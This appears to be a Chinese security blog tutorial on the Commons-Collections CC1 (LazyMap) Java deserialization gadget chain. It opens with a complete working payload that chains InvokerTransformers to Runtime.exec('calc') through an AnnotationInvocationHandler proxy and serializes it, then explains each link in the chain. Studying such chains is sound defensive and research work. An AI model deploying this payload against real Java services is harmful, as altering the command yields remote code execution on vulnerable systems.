java反序列化–cc1(LazyMap)#

环境:jdk8u65;commons-collections3.2

影响版本:< jdk8u71

    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2</version>
    </dependency>

payload

package commonscollections3;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

public class CC1LazyMap {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("value", "xxx");
        Map outmap = LazyMap.decorate(innermap,transformerChain);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);

        ctor.setAccessible(true);
        
        InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
        Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
        Object instance = ctor.newInstance(Retention.class, mapProxy);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(instance);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

LazyMap链和TransformedMap链在前面都相同,只是在调用ChainTransformer.transform()这里出现了不同,最终都是通过AnnotationInvocationHandler.readObject()触发反序列化

这里就不再赘述ChainTransformer.transform()之前的分析,不清楚的师傅可以去看之前cc1TransformedMap的文章

https://kiiy.cc/web/javasec/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96-cc1transformedmap.html

LazyMap.get()#

可以看到此方法也能够调用transform方法,只是需要初始化factory

image-20250330132124521

这里初始化factory的值的任务仍然交给了decorate方法来完成,跟进decorate方法,来到了LazyMap的构造方法,此时factory的值为ChainedTransformer对象,自然factory就被赋值成功了

image-20250330132433009

AnnotationInvocationHandler.invoke()#

我们选择AnnotationInvocationHandler.invoke()方法调用get方法,那么就需要memberValues为LazyMap对象

public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
		...

        // Handle annotation member accessors
        Object result = memberValues.get(member);

		...

        return result;
    }

赋值操作同样使用AnnotationInvocationHandler类的构造函数来进行,memberValues的值为LazyMap

image-20250330133144848

java动态代理#

接下来调用AnnotationInvocationHandler.invoke()需要用到java的动态代理

定义:动态代理是指在程序运行时,通过代理对象来间接调用目标对象的方法,并在调用前后插入额外的逻辑(例如日志、事务管理、权限校验等),从而实现功能增强。

用大白话说就是在调用一个对象的方法之前,劫持其中的某个函数,执行invoke方法内的代码,执行完成后再继续执行该对象内的其他方法。

这里用P神在java安全漫谈中举的例子

编写了一个ExampleInvocationHandler类,继承InvocationHandler代理接口,实现了invoke方法,当调用对象中的方法名含有get字符串时,打印输出内容。

package InvocationHandlerExamples;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
    protected Map map;
    public ExampleInvocationHandler(Map map) {
        this.map = map;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws
            Throwable {
        if (method.getName().compareTo("get") == 0) {
            System.out.println("Hook method: " + method.getName());
            return "Hacked Object";
        }
        return method.invoke(this.map, args);
    }
}

new一个我们刚刚创建的ExampleInvocationHandler类,然后使用Proxy.newProxyInstance代理方法生成一个proxyMap对象,随便put进入值后,此时我们使用get获取键hello的对应值,便会触发invoke方法,打印输出Hook method: get Hacked Object,这样就调用了invoke方法。

package InvocationHandlerExamples;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class invokeExample {
    public static void main(String[] args) throws Exception {
        InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        proxyMap.put("hello", "world");
        String result = (String) proxyMap.get("hello");
        System.out.println(result);
    }
}

Proxy(AnnotationInvocationHandler).entrySet()#

我们回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类实际就是一个InvocationHandler(继承了InvocationHandler接口),我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler.invoke 方法中,进而触发我们的 LazyMap.get。

通过proxy代理后,调用entrySet()方法时会调用invoke方法

image-20250330140949847

gadget#

AnnotationInvocationHandler.readObject()
	Proxy(AnnotationInvocationHandler).entrySet()
        AnnotationInvocationHandler.invoke()
            LazyMap.get()
                ChainedTransformer.transform()
                    InvokerTransformer.transform()
                        Runtime.exec()